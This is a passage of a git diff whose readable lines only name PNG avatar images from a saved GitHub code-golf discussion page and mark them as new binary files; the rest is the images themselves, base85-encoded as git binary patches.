z3W#}65GMszLI+E*QPe=VbZ7;L@IjZR_C)VQf+Q=7H6IvC0n?9AA=iyAP8fs^&=91V z9OnH)DIkxy+{ST3j5*=k(It7_>s#mkgwdfBAjbYgSS$|czxIv;IuxX7yB%`H&(NWlgnp#8zSOQkEr`{mUyLJ86Y&Gm|* zdL(8Hm$@kNXbvhMyHA(}tOX;%^e)b6TQ(nMSi;GQYnu3o}0pytQ zy|G6C6ubwKl`G&J-uv_QVFI~<_9-hs6`A?6xj9O@{a5K#pclSZgCjqBpesv{ZUBIY z;zHM+Dz>i!{`mh~z(w1iO-I(HzhsSUwA$YOmp5K8y?-YYGrMJ{Sh*z564&kjN)_m( zLwi+`BNF<~&&q}3+~n+iQ&0GFs={x`)wDkN(DUEl@^Yi*JpH#fo%d&m=>MvKAH4sY zZ;4HQGkJbJzCEHIup(1m<^@zf6DM&TXR(8Brx{d%?rT*!x&i>wcfK`3WvrAf&My4Q zbgT0-lRNbnwoU7&@%hCHAN|n>o_jHW;Q9OK4>kVqpSS)rP~x64a<_dk5%tXKX=0xr4d>+dtjCw-^=V`7bws02wF zTm%B5Z4TB>cZZ@2iY5C(ca%;4r>QGcKmh3q7KL1#G@&&xrGUBJlYQlp~gc)C*zk;8y z?4V%hyFqk?UuZ{FpqI=00q6G%_f@Dn!tzh!2Zs zYXPaxoYq%?yfA?g;Y2XmDD~+@9-8?Sw~c8vV@*6;J>=xw24aK@1OS&J_!b{@f&%*qFf; zcx?7&_I2Khl*T~}s;AJsfFu=Y)p&67b~cRf;WYPJue)7x548rh+_Ru?*XTESVCrlN ztqylK7xenjV$xVsBlPjL=H)z9yBdj05GJUeYWD&nn9^y?Pq+E(^zZXKW7`O&c~tnh zI*VTU)zNS9CE1P#0Oo*?@B0$B3EVxm$o1unROqoUU(b%IJ5d*7itEVrRDC3718ix6 zms^{-XXbNg@AAu^yjN};+sdQ8@I6kumW7e6+@zkT>rIZBThKC}nYw@ZXb%epIkle& zN|a#=qdePqH(#9p6ae)W9iQ`^(QomSz9?B~wf#VXjjZT&Q=AGqex7jE3SU}x!ibNc~3 z)deW|^moxt1DjNKlfC2OogW(iHYdpLZR?-5$;kP}#s8>{dHn1?-dNt`P5v9|9dD3Y S39%yp0000}sP)qc!vaE-#a zFNiFP0*DCCadAAEHBU z)H#iUW;{0H@%}ST%br`}DwXO@wNe?L`@uMt;aq12C`D-hOHls^@B-vGIXr&?jXNd(a=ofo)C2?5($9Lnf2Td&(6*sjHI_9`8&C}xp48~MQCbj zf|hx+iBz9Jf{_5!FP;nX8jWU(QmJf1@=#u04tl*Fu3Wjoa5-X6p9P?vzX#Kub$YFZs^SPU!0DVz_qg8no@-*CzoAPyn1Fa|KKO^y$+hv$C=pQ2?l_s)FX` zX1IL$GPJk16JbXD=FOV~cHV*4TjtMsBJ$0M92ZAWIXUhXB>B|T)IVfqX6mu&5qYvb z)x3cK*RNlP?(S{^owIB0S}o`&yFFHb+TIyp^gO|l$E?4SmX=nH0YoHC5fu4dyLJssN=j0q08m(1 z2o)6-aOu(|sIIPty1F`OY;1&jbi$sPIPhC0gV|p!g(b2eIIc*i%oBNX2y+U1R+9%! zGd+#SH{759u?IM;5|jYPk00N0;=~D{dA_WyjO@?qU#HVi8Q`%R{JseUSI>DcafTO6 zoVoD+(Q__@Y~Dth=gE^}m~*O8z`Bj=K|jv9SAdHsfZD~OM>B5RTY@2f^ytx9hBJJtjawK>_aqTJjPBJTC*+>2rvz zNl-b=`aFPaPbEW{=gHF;M4pX_(<@-9>8alcLV$w@4{k(2Mn(q94sCE~xl2v({Q2_+ zB21dS5XlmZ1#m?N_uT9Q2!v?)4MbV zb5(M3G8{Q_q?ugzOo)qCq)o7sDbgj9zzAR`f|F;XU#YBh7hd}5abA643nUH^b9>q@6f-2GYnf%7{twVcU1Z+{ItRC*F%;*~(zZ$jl-)kPy5hcri?Z z?$I;!EbS-aT}7Z*oJLIEtf|7*zO zEwMZfkO(h@C}Dr>LBI`5RnS1u+0#qeTuJIB{BFY+f`ko;!y)I%`aM4mc*LPSJ_Sg_=g_@pV`OKPWh`@@!cCH!^%MU_*r_vJcCZrFYJMK>0sL!1?hbm&=Odr5COm9hBsmjBz?#qF$umdLHN3Y(807P;9cv0iJ$GvcfL=BX>c6n> z6`_(ua3c}$`1iM=Y2#4X81Ny?@%3$-;doRWV>uvo_=8em1jUAOTHrx z%^E5U0SZJ3SE~lWtt<(&%Iu-(YkR0)gd!|_Ai{-7_HZNA20Atl0$rdu2RQCYYnNPb z9KSR%@&iK(sP+N>-Yy984P}xcT8-%TFZzCPJ@O5>5^T>zX#QUjW{rT3;33ex+XA$! z#T_-@S-;8kA;f{Hp=5coJ_#{cnyPLPJ;ht?8$s;uC~j^WT5h9ay- z5mwtnN7(CdC(#;iBn$-IHgR`dxcFo4SA>mJ;YI=smML0nmS>IPgcNB1^S7G@z}<2Y z+>U<}ZXbIU?xYQdo;(Zq=^Qpi6hIpxuBqE*`yTfzW60V&{=H>Z538f zudxMfw)mDVLv*S(RlKk+lC$Do?(m0000ix7y#hKYTT++)VcRo-)?Yscj$0yaHpkj=!c4mCNAfGarfk8sBqWie;4=U2D;ms zFFD;`=TP=!PxfTbOizgO<$lR_1|_`~Q2bFy@w>s*;;c_`;asOnmAGWM3VT)}ISk@wdW@_3Wtdd5Khq0$#$y99q01L%-U z$3X%f$3YKhgXgu9YiNL-*q@*h1yxe!0F;U9HEUKu;T7q|!o78%tv^;ABtWmlbUXa7 zhyOuAwUbj_!P%DzMxHs>ITipknMvLR)I3_o@SAc@bQH96tb0LR5S@gesR<-N<4_~s zMwB=J&`g9RKjl;6BQz22Vmb*Xj3-DsuO5bVD>Ze9VqMCJE~Dg?i#Rp|G?5A4D53aK z5y8LRa9JZZbSE)%7hG-!iF0BHwS!Np2Sn0qDt<+zxCqd6_$+$EulVn%;`W3mjgb_v z4gC%1W~T0h96KP_2H=F;iz)t5M$Gd7jc42!3mlFcMcDk~#injD9l8xW>`U#-A;_>T z5OxxiOMuG$Cd5`-`v96uIFFsMi?5P=vZ;@nK1mOztH1bm7+5Rh-Du`&7cq4qHhz~F zxu*ddZOjV=l&&qn#t)}y=td(~x4(17+)TL4Yy--78iA=39_^(m|v0cc!nrR7)R za}kD9(cuoh@QGvwd!w_USJ|-`0BlU`tB^ zjEw?f{tyKB?rll`ID`$$Nt~TbW4s7WaH}AHD+mtENtl4_UOe*3r`{JBo0G466Tk=srl+OlH6<(< zf$)VW@s4t9>ob8NMnNf!zg|N2XTpGsxrv)=TLGMHY(m4+VFj(gj8DA$g#`{p zUYdAsXi)NaeNX1q_iYkiTl$MgBojIZO_QL=Dv0Bc0Yi)eJTcOXKA8!cxtN=UM#|TerEFj}!FMYv(Q3+QsSm*uU zh(t@cRr0p@bM?jBrB5wPEVLD}-UtRn(JU|o50wGf5kARq9xqPx~9E)-V*QhJ&<@NcCt{&`k@gC|9edZ@ceIw zGsD$IT&z~eVFI$CYH*AoG{Q1N{1GBYUi1R+d{qo#EYWVpRq_(AvwltSvsLj->;$w8 zAhAgH|A8Tf4?lhU?D_kXSiBD?Fe!(N2n#P-&WWZIn0cwGphwvm9(S)fwCM?!5;k09fT0>^2GHjOc zj%@|PYyPhFD)qI5YuY!+yu_0}XlzFd07Hxdw8Fpos|FC3i*3TJWrB`KwS>nAkZMrM z3>mU&3g5b(?Zs9*XfRf)K_;jg z{6@HDs5*#@kx+@1V8R}^Gj8{~Q}Xt-_lp-L4#6-S1cn#|T~YK)poOjpIvsRGy4Bz{ zLS~TDHZ;XSVkNjnG)Wxc%6g=%Hx@q%I-s#Dj=v5J;X{Qm{4@vQh-c#jkO@{bc#KeM z*k)LUc#Ltx`bCqtMz~w@74cQ!6Vl*t6o042&LDU{FvKV*20_Xv4?v)2vwtp-&@qBk zjgT2+#WqExiYZh?j%b3{lxUxDE9*?wcpZi-C&2BUg~H>2Aw~hglb3ol2Z*BkRf8(!;+9-iFUH>7w*rxxBugK0vMs7LKJ@J-QkcqP_-K;$*Tt_rs@Z03D9Yi2drEYTYfZlC|m z{&hWVZI1*-C=jfKZk`5XjZ4bg8m<|(A!62#o|j<1=yeJw#{nxF75)=oY!nC%!{=l1 z9fO`K$ZrNIIEKg+((J=p2dw>kz5Js6+2>8SuTXdjFg6NoXhb{Ek+^9lJf`@VAe$HL z>wTX6-v!1+K@H{SJm>Ma8D66kVZSm4%2CAZ|8w*uFL@9!E`0D(jN>oRxr4eF>_hnO zmKus-_#t3?@WD%F%-zujeGR@MF!fO2g+qhyoy#y`Y(JHLp`c68zjW-? zLqT1-g5V=8qk(-i5BeaU_nA_XyaAZCP_QOEKWW0DeJ~G(D}B$>{|YdTP_QPP2XOQl z;_T=io(G2^o_!BWz~n(eLof#(gQM}!UAiCay`jgflcirg<}nWdCJzeoKqH#)ANXI9 zC&L~R&x9~BDE+@-@I4WjyeP;`SCYK6BaUw<(S$uBzE}}|6)H3aW<4la7o{M0C-2r} zy=mGl@c`9G@z)j8^p(J@7X|BuGvV#1gq!idGGWKhdM1F?sN-%UDA*9Hgq|HXVHA`r znZL0+irxgwMp3X~WJ322nJ@xMRq=l)6y5^NW>Byx(1#y{3AeH&N4I(4Nql=#(_4Yr zEDAP@Ot^WwPKV>wY0r5CrJRzR-#}_=}FUPAzOd!*yJ0i1J%1d3_aTu1WyKLt5LA! z@Y@&O%k{&H^@`_*vh5Y|qquiG6qxNm!FIsU6Yk%cBt;78hoG^X7aYEy=bo-G{4IaI z0?c-yV7sXN_#zCy3PHD*^-i+EG1q~$+yl&ZqhPzyCrdYSI3AG+o?*vh4ko+@n4Lhu zj!;h1mq6g(JM=BI^XV000H5Nkl@(7sSV{%LQq+7cz^kR9vFt1aUAD|ve5gsGtWA&*F4Y6yr1{;m;nGC z2-I|L10vR zeI2w4sH4}>L6d+Mdc7Rf3vl$))6;gl-S7819FCcp8F^x}*?jZnO_$4c_3Bl8WP5vC zi-SsmWHNc^&>@7->gsAHli`l%^Ld-iHi-Vji4(b8j%!TQ^uoe|Mh7(l96drP8jS)# zu~?)iDx1yXJYtZ*$B!QYAeYNg6jdx10pRJ=ryBcVWC8xTUszb^_xqhrXLWTIAv8Zf z&oB%CNOr>J<|Y6z3^PAJkGrnZ>GXQN+1Xhw4x$0jeSIAODwPU%B%MwJ06`F9 zfos>U0YEyP=8jY<6#(F;eJUJA5D?HKgr=sZN~ID21cSkql@*dCS(a_JS{92%EU>t^ z*zI;%mUX#YD=RC(U=RSlfB!CMHmZYC0Wm#7h#-i1y)J0!^?Ieo|NrCu{riH(rBZ2Q zV?&FBA^~~&NFCdIh*$u}!-o&K zHgj`xuU@_4PKgEh4!?i@K6mb%at8?k`Emc|%^OL2P9UGpce`BxNF)+VOH1qP>z_V- z0)Serh7%!40lveZKYz}jKd;b1DDdOQ51e30(uc!gvw2`C2@5=V^5pX6%jI$zf2Z*0 z_S?5_8yg$pa9Bow?@+B)x3;##4uAjt9U^e&&YeN@Z{NO^&z3m>gwU~L$3A@cfPXU{ zj~_X51R*q3K;UrU!Ue(EKp-$gK=4iB=wq?i&|IG{fDp1+ETK^7!Gj0fGG3v^e!&C~S;le}CWO@r?8@IQsp5v)RNK9oksR*Hp@SI>((vdKaBJc$K!Ds2f+{$$Iu~UGMPf5 z5CGKcb#YFv=pi2Z5s-1vC@_>>(Q8zTgBAgG^y*UyNe9&es_8W)b7BW|0$S*`rqcq4 z8#ivyH0}5M2MM^{Zi=EdH#ha7*I_~<|6Y<0?ezLgDQTKcrBcmiGn2_kCer+HI-T#| zzb_ODi9{k2iD;xZWKtgp1P0N2yjB*+(xDyv93tgWp{7Pc;3x+E4L2tu;3wYIjVnqF&ZadB~xWm$!# zMVrkgC@pro-G0B1Gwm^z7C8s5AL8-2^5SkPmBN!7uDBbGMzzpuDzD>yIC}J`^76XP zX3OXET;s1_zv8YNcX?glfEPG?KHu%zw}(!8W@cs_4u{X@v)k=>ZatX=4uON}&`3Yw zMLzBHlU!!ig??fS-FneaW~+gY^b^?Zp)dWox7+AWKh_OTM$j7~Fy<|1QwHtaWfD`ZG#kY;oZCjs6pubR2kr{{;X5|Nj$1n4#3?dr1HQ002ov JPDHLkV1jIY-|hea literal 0 HcmV?d00001 diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/33086936_002.png b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/33086936_002.png new file mode 100644 index 0000000000000000000000000000000000000000..b4cec26428712bb24144157c935f076a96cf6c31 GIT binary patch literal 1183 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/50341827.png b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/50341827.png new file mode 100644 index 0000000000000000000000000000000000000000..63f1955c493175f08505d2858d3b0760857ad073 GIT binary patch literal 2838 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/50341827_002.png b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/50341827_002.png new file mode 100644 index 0000000000000000000000000000000000000000..c3d50169893d86d397594dacdbcf7a1f2ab28289 GIT binary patch literal 1536 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 